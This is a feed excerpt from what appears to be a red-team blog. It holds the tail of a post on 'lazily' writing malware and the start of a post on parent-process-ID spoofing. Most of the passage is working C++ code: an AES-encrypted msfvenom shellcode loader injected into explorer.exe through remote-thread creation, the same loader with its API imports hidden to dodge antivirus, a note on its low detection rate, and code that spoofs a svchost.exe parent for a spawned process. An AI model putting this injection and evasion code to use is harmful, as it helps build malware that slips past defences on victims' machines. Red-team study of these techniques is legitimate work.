	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">shellcodeSize</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">x%02x"</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The following shows the output of the above code and the AES-encrypted shellcode.</p>

<p><a href="/static/img/2021-12-15-lazy-maldev/encrypted-shellcode.png"><img src="/static/img/2021-12-15-lazy-maldev/encrypted-shellcode.png" alt="AES-encrypted Shellcode" /></a></p>

<p>To use it, simply change the contents of <code class="language-plaintext highlighter-rouge">shellcode</code> parameter using the above output, and then add the decryption code. The following shows the updated code:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"include/aes.hpp"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="c1">// PID of explorer.exe</span>
	<span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="mi">5284</span><span class="p">;</span>

	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c </span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"Captain.MeeloIsTheSuperSecretKey"</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98</span><span class="s">"</span><span class="p">;</span>

	<span class="k">struct</span> <span class="nc">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>

	<span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
	<span class="n">AES_CBC_decrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">;</span>
	<span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>

	<span class="n">PVOID</span> <span class="n">baseAddress</span><span class="p">;</span>
	<span class="n">baseAddress</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hThread</span><span class="p">;</span>
	<span class="n">hThread</span> <span class="o">=</span> <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">baseAddress</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>

	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="hiding-function-calls">Hiding Function Calls</h2>

<p>Is there anything else that we can improve? Of course! If we analyze our binary, we can see that the functions we used (<code class="language-plaintext highlighter-rouge">OpenProcess</code>, <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>, <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>, <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> and <code class="language-plaintext highlighter-rouge">CloseHandle</code>) are listed in the binary’s <strong>Import Address Table</strong>. This is a red flag since AVs look for a combination of these Windows APIs, which are commonly used for malicious purposes.</p>

<p><a href="/static/img/2021-12-15-lazy-maldev/import-table-before.png"><img src="/static/img/2021-12-15-lazy-maldev/import-table-before.png" alt="Current Import Table" /></a></p>

<p>What we can do is remove this footprint by “hiding” these functions. And since we’re just noobs (again), we’ll use the open-source library <a href="https://github.com/JustasMasiulis/lazy_importer">JustasMasiulis/lazy_importer</a>. Just like we did previously, simply import the file <a href="https://raw.githubusercontent.com/JustasMasiulis/lazy_importer/master/include/lazy_importer.hpp">lazy_importer.hpp</a> in our project and we’re good.</p>

<p>So here’s what the updated code looks like:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"include/aes.hpp"</span><span class="cp">
#include</span> <span class="cpf">"include/lazy_importer.hpp"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="c1">// PID of explorer.exe</span>
	<span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="mi">5284</span><span class="p">;</span>

	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c </span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"Captain.MeeloIsTheSuperSecretKey"</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98</span><span class="s">"</span><span class="p">;</span>

	<span class="k">struct</span> <span class="nc">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>

	<span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
	<span class="n">AES_CBC_decrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">;</span>
	<span class="n">hProcess</span> <span class="o">=</span> <span class="n">LI_FN</span><span class="p">(</span><span class="n">OpenProcess</span><span class="p">)(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>

	<span class="n">PVOID</span> <span class="n">baseAddress</span><span class="p">;</span>
	<span class="n">baseAddress</span> <span class="o">=</span> <span class="n">LI_FN</span><span class="p">(</span><span class="n">VirtualAllocEx</span><span class="p">)(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

	<span class="n">LI_FN</span><span class="p">(</span><span class="n">WriteProcessMemory</span><span class="p">)(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hThread</span><span class="p">;</span>
	<span class="n">hThread</span> <span class="o">=</span> <span class="n">LI_FN</span><span class="p">(</span><span class="n">CreateRemoteThread</span><span class="p">)(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">baseAddress</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>

	<span class="n">LI_FN</span><span class="p">(</span><span class="n">CloseHandle</span><span class="p">)(</span><span class="n">hProcess</span><span class="p">);</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And if we examine again the binary’s <strong>Import Address Table</strong>, the Windows APIs used are now gone.</p>

<p><a href="/static/img/2021-12-15-lazy-maldev/import-table-after.png"><img src="/static/img/2021-12-15-lazy-maldev/import-table-after.png" alt="Updated Import Table" /></a></p>

<h2 id="detection-rate">Detection Rate</h2>

<p>How did our malware do after what we have done? Looks like we got a good result!</p>

<p><a href="/static/img/2021-12-15-lazy-maldev/detection-rate.png"><img src="/static/img/2021-12-15-lazy-maldev/detection-rate.png" alt="Detection Rate" /></a></p>

<p>For a simple and lazily-written malware, I’m surprised that a number of AV vendors failed to detect it.</p>

<h2 id="conclusion">Conclusion</h2>

<p>That’s it for this post! The objective here is to show how to write malware quickly and lazily, so we didn’t bother having a perfect detection rate.</p>

<p>Before I end it, let’s all thank and appreciate the people who are dedicating their spare time writing and open-sourcing tools, as well as those who keep sharing their knowledge and research. And if you can, <strong>please support and sponsor their work</strong>.</p>

<p>Also, if your organization rely on open-source offensive tooling, you can start with <a href="https://porchetta.industries/">Porchetta Industries</a>, which is founded by <strong>Marcello Salvati</strong> (<a href="https://twitter.com/byt3bl33d3r">@byt3bl33d3r</a>), to support the developers.</p>]]></content><author><name>Capt. Meelo</name></author><category term="redteam" /><category term="maldev" /><summary type="html"><![CDATA[Quickly and lazily write malware from the perspective of a newbie and someone who has very basic programming skills.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2021-12-15-lazy-maldev/import-table-before.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2021-12-15-lazy-maldev/import-table-before.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Picky PPID Spoofing</title><link href="https://captmeelo.com/redteam/maldev/2021/11/22/picky-ppid-spoofing.html" rel="alternate" type="text/html" title="Picky PPID Spoofing" /><published>2021-11-22T00:00:00+00:00</published><updated>2021-11-22T00:00:00+00:00</updated><id>https://captmeelo.com/redteam/maldev/2021/11/22/picky-ppid-spoofing</id><content type="html" xml:base="https://captmeelo.com/redteam/maldev/2021/11/22/picky-ppid-spoofing.html"><![CDATA[<p><strong>Parent Process ID (PPID) Spoofing</strong> is one of the techniques employed by malware authors to blend in the target system. This is done by making the malicious process look like it was spawned by another process. This helps evade detections that are based on anomalous parent-child process relationships.</p>

<p>When I started learning and implementing this technique, the first question that popped into my mind is what parent-child process relationship should I spoof.</p>

<p>Using <a href="https://processhacker.sourceforge.io/">Process Hacker</a>, I noticed several instances of the <code class="language-plaintext highlighter-rouge">RuntimeBroker.exe</code> process running under the parent process <code class="language-plaintext highlighter-rouge">svchost.exe</code>. If this parent-child process relationship is common, then this is a good candidate for spoofing.</p>

<p><a href="/static/img/2021-11-22-picky-ppid-spoofing/runtimebroker.png"><img src="/static/img/2021-11-22-picky-ppid-spoofing/runtimebroker.png" alt="Several RuntimBroker.exe Running Under svchost.exe" /></a></p>

<h2 id="the-usual-ppid-spoofing">The Usual PPID Spoofing</h2>

<p>To implement <strong>PPID Spoofing</strong>, the following code was used. The <code class="language-plaintext highlighter-rouge">ggetPPID</code> function is used to retrieve the PID of the parent process we want to spoof. In this case, we’re trying to get the PID of the <code class="language-plaintext highlighter-rouge">svchost.exe</code> process. The code then uses the WinAPI function <code class="language-plaintext highlighter-rouge">CreateProcess</code> to spawn a new process, which in our case is <code class="language-plaintext highlighter-rouge">RuntimeBroker.exe</code>.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;TlHelp32.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
</span>
<span class="n">DWORD</span> <span class="nf">getPPID</span><span class="p">(</span><span class="n">LPCWSTR</span> <span class="n">processName</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">snapshot</span> <span class="o">=</span> <span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPPROCESS</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">PROCESSENTRY32</span> <span class="n">process</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="n">process</span><span class="p">.</span><span class="n">dwSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">process</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">Process32First</span><span class="p">(</span><span class="n">snapshot</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">process</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">do</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">wcscmp</span><span class="p">(</span><span class="n">process</span><span class="p">.</span><span class="n">szExeFile</span><span class="p">,</span> <span class="n">processName</span><span class="p">))</span>
                <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">Process32Next</span><span class="p">(</span><span class="n">snapshot</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">process</span><span class="p">));</span>
    <span class="p">}</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">snapshot</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">process</span><span class="p">.</span><span class="n">th32ProcessID</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">STARTUPINFOEX</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">)</span> <span class="p">};</span>
    <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span><span class="p">;</span>
    <span class="n">SIZE_T</span> <span class="n">attributeSize</span><span class="p">;</span>

    <span class="n">InitializeProcThreadAttributeList</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">attributeSize</span><span class="p">);</span>
    <span class="n">si</span><span class="p">.</span><span class="n">lpAttributeList</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPPROC_THREAD_ATTRIBUTE_LIST</span><span class="p">)</span><span class="n">HeapAlloc</span><span class="p">(</span><span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">attributeSize</span><span class="p">);</span>
    <span class="n">InitializeProcThreadAttributeList</span><span class="p">(</span><span class="n">si</span><span class="p">.</span><span class="n">lpAttributeList</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">attributeSize</span><span class="p">);</span>

    <span class="n">LPCWSTR</span> <span class="n">parentProcess</span> <span class="o">=</span> <span class="s">L"svchost.exe"</span><span class="p">;</span>
    <span class="n">DWORD</span> <span class="n">parentPID</span> <span class="o">=</span> <span class="n">getPPID</span><span class="p">(</span><span class="n">parentProcess</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] Spoofing %ws (PID: %u) as the parent process.</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">parentProcess</span><span class="p">,</span> <span class="n">parentPID</span><span class="p">);</span>

    <span class="n">HANDLE</span> <span class="n">procHandle</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="nb">false</span><span class="p">,</span> <span class="n">parentPID</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">procHandle</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">wchar_t</span> <span class="n">errorMessage</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
        <span class="n">FormatMessage</span><span class="p">(</span><span class="n">FORMAT_MESSAGE_FROM_SYSTEM</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">(),</span> <span class="n">MAKELANGID</span><span class="p">(</span><span class="n">LANG_NEUTRAL</span><span class="p">,</span> <span class="n">SUBLANG_DEFAULT</span><span class="p">),</span> <span class="n">errorMessage</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"[!] Failed to get a handle with the following error: %ws</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">errorMessage</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] Got a handle of 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">procHandle</span><span class="p">);</span>

    <span class="n">UpdateProcThreadAttribute</span><span class="p">(</span><span class="n">si</span><span class="p">.</span><span class="n">lpAttributeList</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">PROC_THREAD_ATTRIBUTE_PARENT_PROCESS</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">procHandle</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">HANDLE</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

    <span class="n">LPCWSTR</span> <span class="n">spawnProcess</span> <span class="o">=</span> <span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">RuntimeBroker.exe"</span><span class="p">;</span>
    <span class="n">CreateProcess</span><span class="p">(</span><span class="n">spawnProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">TRUE</span><span class="p">,</span> <span class="n">CREATE_SUSPENDED</span> <span class="o">|</span> <span class="n">CREATE_NO_WINDOW</span> <span class="o">|</span> <span class="n">EXTENDED_STARTUPINFO_PRESENT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="p">(</span><span class="n">STARTUPINFO</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] Spawning %ws (PID: %u)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">spawnProcess</span><span class="p">,</span> <span class="n">pi</span><span class="p">.</span><span class="n">dwProcessId</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>However, the code didn’t work as expected and we got an “<strong>Access is denied</strong>” error.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Users\Meelo\Desktop</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">\PickyPPIDSpoofing.exe</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Spoofing</span><span class="w"> </span><span class="nx">svchost.exe</span><span class="w"> </span><span class="p">(</span><span class="n">PID:</span><span class="w"> </span><span class="nx">860</span><span class="p">)</span><span class="w"> </span><span class="n">as</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">parent</span><span class="w"> </span><span class="nx">process.</span><span class="w">
</span><span class="p">[</span><span class="o">!</span><span class="p">]</span><span class="w"> </span><span class="n">Failed</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">get</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">handle</span><span class="w"> </span><span class="nx">with</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">following</span><span class="w"> </span><span class="nx">error:</span><span class="w"> </span><span class="nx">Access</span><span class="w"> </span><span class="nx">is</span><span class="w"> </span><span class="nx">denied.</span><span class="w">
</span></code></pre></div></div>

<p>Based on the output above, the code is trying to spoof <code class="language-plaintext highlighter-rouge">svchost.exe</code> with a PID of <strong>860</strong>. And if we look at <a href="https://processhacker.sourceforge.io/">Process Hacker</a>, this process has an integrity level of <strong>SYSTEM</strong>. Since we’re running as a standard user, with <strong>MEDIUM</strong> integrity level, we don’t have access to processes running with <strong>SYSTEM</strong> integrity level.</p>

<p><a href="/static/img/2021-11-22-picky-ppid-spoofing/integrity-level.png"><img src="/static/img/2021-11-22-picky-ppid-spoofing/integrity-level.png" alt="Integrity Level of svchost.exe" /></a></p>

<p>So how can we solve this? If we scroll down in <a href="https://processhacker.sourceforge.io/">Process Hacker</a>, we can see some <code class="language-plaintext highlighter-rouge">svchost.exe</code> processes with an integrity level of <strong>MEDIUM</strong>.</p>

<p><a href="/static/img/2021-11-22-picky-ppid-spoofing/svchost-medium.png"><img src="/static/img/2021-11-22-picky-ppid-spoofing/svchost-medium.png" alt="svchost.exe Running with MEDIUM Integrity Level" /></a></p>

<p>Technically, this can be solved easily by hard-coding the PID of the parent process we’re targetting. In the image above, that would be <strong>2740</strong>, <strong>2824</strong>, or <strong>4620</strong>. However, this is only applicable if we could get the PIDs of the processes running on the target system; which means we should already have access to our target.</p>

<p>This wouldn’t work if you’re implementing PPID Spoofing in your malware that will be used to gain initial access on your target.</p>

<h2 id="the-picky-ppid-spoofing">The Picky PPID Spoofing</h2>

<p>By analyzing the console output above, we can see that the <code class="language-plaintext highlighter-rouge">getPPID</code> function only returns the very first instance of <code class="language-plaintext highlighter-rouge">svchost.exe</code> (with a PID of <strong>860</strong>), which has an integrity level of <strong>SYSTEM</strong>.</p>

<p><a href="/static/img/2021-11-22-picky-ppid-spoofing/first-instance.png"><img src="/static/img/2021-11-22-picky-ppid-spoofing/first-instance.png" alt="First Instance of svchost.exe" /></a></p>

<p>So to solve this issue, we have to add another function that would check the integrity level of each process. This is done using the following code, which uses the WinAPI function <code class="language-plaintext highlighter-rouge">GetTokenInformation</code> to retrieve information about the access token associated with a process. Then a comparison is made against <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids">well-known SIDs</a> to identify the integrity level of the process.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">LPCWSTR</span> <span class="nf">getIntegrityLevel</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">hToken</span><span class="p">;</span>
    <span class="n">OpenProcessToken</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">TOKEN_QUERY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hToken</span><span class="p">);</span>
    
    <span class="n">DWORD</span> <span class="n">cbTokenIL</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">PTOKEN_MANDATORY_LABEL</span> <span class="n">pTokenIL</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
    <span class="n">GetTokenInformation</span><span class="p">(</span><span class="n">hToken</span><span class="p">,</span> <span class="n">TokenIntegrityLevel</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cbTokenIL</span><span class="p">);</span>
